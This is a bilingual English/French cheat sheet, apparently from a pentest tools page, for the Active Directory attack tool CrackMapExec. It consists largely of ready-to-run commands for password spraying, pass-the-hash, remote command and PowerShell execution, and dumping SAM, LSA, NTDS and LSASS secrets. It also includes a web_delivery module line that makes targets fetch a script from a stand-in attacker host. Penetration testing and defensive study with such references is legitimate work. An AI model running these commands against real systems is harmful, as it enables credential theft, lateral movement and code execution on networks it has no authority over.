← retour aux outils back to tools

# CrackMapExec

Couteau suisse du pentest Active Directory. Teste des identifiants via SMB/WinRM/LDAP/SSH, exécute des commandes, extrait des secrets et spraye des mots de passe. Swiss army knife for Active Directory pentesting. Tests credentials across SMB/WinRM/LDAP/SSH, executes commands, dumps secrets, and sprays passwords.

↗ https://github.com/byt3bl33d3r/CrackMapExec

## Overview

CrackMapExec (CME) automates common Active Directory attacks: credential validation, password spraying, lateral movement via SMB/WinRM/LDAP, and post-exploitation. Note: CME is deprecated in favor of NetExec (nxc) which is its actively maintained fork.

## Credential Testing

Test creds via SMB against a single host

    crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'

Test against a subnet

    crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'

Pass-the-hash

    crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee

From target list

    crackmapexec smb targets.txt -u administrator -p 'Password1'

## Password Spraying

Spray a password across many users

    crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'

Spray with lockout protection (—no-bruteforce: one password per user)

    crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce

Multiple passwords (careful: may lockout accounts)

    crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt

## Enumeration

List shares

    crackmapexec smb 10.10.10.1 -u user -p pass --shares

List logged-on users

    crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users

Enumerate users

    crackmapexec smb 10.10.10.1 -u user -p pass --users

Enumerate groups

    crackmapexec smb 10.10.10.1 -u user -p pass --groups

Get password policy

    crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol

Enumerate domain computers

    crackmapexec smb 10.10.10.1 -u user -p pass --computers

## Command Execution

Execute a command via SMB (uses wmiexec by default)

    crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"

PowerShell execution

    crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"

Execute on all hosts where we have admin access (marked [+])

    crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output

## Credential Dumping

Dump SAM hashes

    crackmapexec smb 10.10.10.1 -u administrator -p pass --sam

Dump LSA secrets

    crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa

Dump NTDS.dit (domain controller only)

    crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds

Run mimikatz modules

    crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz

## WinRM, LDAP, SSH Protocols

WinRM

    crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"

    # LDAP enumeration
    crackmapexec ldap 10.10.10.1 -u user -p pass --users
    crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All

SSH

    crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"

## Modules

List available modules

    crackmapexec smb -L

    # Useful modules
    crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password   # GPP passwords
    crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy          # Dump LSASS with lsassy
    crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1

## Tips

- `[+]` means valid credentials; `(Pwn3d!)` means local admin access
- Use `--local-auth` when testing local accounts (not domain accounts)
- The CME database (`cmedb`) stores all credentials found across sessions
- Use NetExec (`nxc`) for the same syntax with active maintenance

Protocol/module quick reference

    Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc

    Common flags:
      -u USER/FILE     Username or file
      -p PASS/FILE     Password or file
      -H HASH          NTLM hash
      -d DOMAIN        Domain
      --local-auth     Local authentication
      --shares         Enumerate shares
      --users          Enumerate users
      --groups         Enumerate groups
      --loggedon-users List logged-on users
      --sam            Dump SAM
      --lsa            Dump LSA
      --ntds           Dump NTDS
      --pass-pol       Password policy
      -x CMD           Execute command
      -X PS_CMD        Execute PowerShell
      -M MODULE        Use module
      --no-bruteforce  1 password per user (spray mode)

## Vue d’ensemble

CrackMapExec (CME) automatise les attaques Active Directory courantes : validation d’identifiants, password spraying, déplacement latéral via SMB/WinRM/LDAP, et post-exploitation. Note : CME est déprécié au profit de NetExec (nxc), qui est son fork activement maintenu.

## Test d’identifiants

    # Tester des identifiants via SMB contre un seul hôte
    crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'

    # Tester contre un sous-réseau
    crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'

    # Pass-the-hash
    crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee

    # Depuis une liste de cibles
    crackmapexec smb targets.txt -u administrator -p 'Password1'

## Password spraying

    # Sprayer un mot de passe sur de nombreux utilisateurs
    crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'

    # Spray avec protection contre le verrouillage (--no-bruteforce : un mot de passe par utilisateur)
    crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce

    # Plusieurs mots de passe (prudence : peut verrouiller des comptes)
    crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt

## Énumération

    # Lister les partages
    crackmapexec smb 10.10.10.1 -u user -p pass --shares

    # Lister les utilisateurs connectés
    crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users

    # Énumérer les utilisateurs
    crackmapexec smb 10.10.10.1 -u user -p pass --users

    # Énumérer les groupes
    crackmapexec smb 10.10.10.1 -u user -p pass --groups

    # Récupérer la politique de mot de passe
    crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol

    # Énumérer les ordinateurs du domaine
    crackmapexec smb 10.10.10.1 -u user -p pass --computers

## Exécution de commandes

    # Exécuter une commande via SMB (utilise wmiexec par défaut)
    crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"

    # Exécution PowerShell
    crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"

    # Exécuter sur tous les hôtes où on a un accès admin (marqués [+])
    crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output

## Extraction d’identifiants

    # Extraire les empreintes SAM
    crackmapexec smb 10.10.10.1 -u administrator -p pass --sam

    # Extraire les secrets LSA
    crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa

    # Extraire NTDS.dit (contrôleur de domaine uniquement)
    crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds

    # Lancer les modules mimikatz
    crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz

## Protocoles WinRM, LDAP, SSH

    # WinRM
    crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"

    # Énumération LDAP
    crackmapexec ldap 10.10.10.1 -u user -p pass --users
    crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All

    # SSH
    crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"

## Modules

    # Lister les modules disponibles
    crackmapexec smb -L

    # Modules utiles
    crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password   # Mots de passe GPP
    crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy          # Extraire LSASS avec lsassy
    crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1

## Conseils

- `[+]` signifie des identifiants valides ; `(Pwn3d!)` signifie un accès admin local
- Utilisez `--local-auth` pour tester des comptes locaux (pas des comptes de domaine)
- La base CME (`cmedb`) stocke tous les identifiants trouvés au fil des sessions
- Utilisez NetExec (`nxc`) pour la même syntaxe avec une maintenance active

Référence rapide protocoles/modules

    Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc

    Common flags:
      -u USER/FILE     Username or file
      -p PASS/FILE     Password or file
      -H HASH          NTLM hash
      -d DOMAIN        Domain
      --local-auth     Local authentication
      --shares         Enumerate shares
      --users          Enumerate users
      --groups         Enumerate groups
      --loggedon-users List logged-on users
      --sam            Dump SAM
      --lsa            Dump LSA
      --ntds           Dump NTDS
      --pass-pol       Password policy
      -x CMD           Execute command
      -X PS_CMD        Execute PowerShell
      -M MODULE        Use module
      --no-bruteforce  1 password per user (spray mode)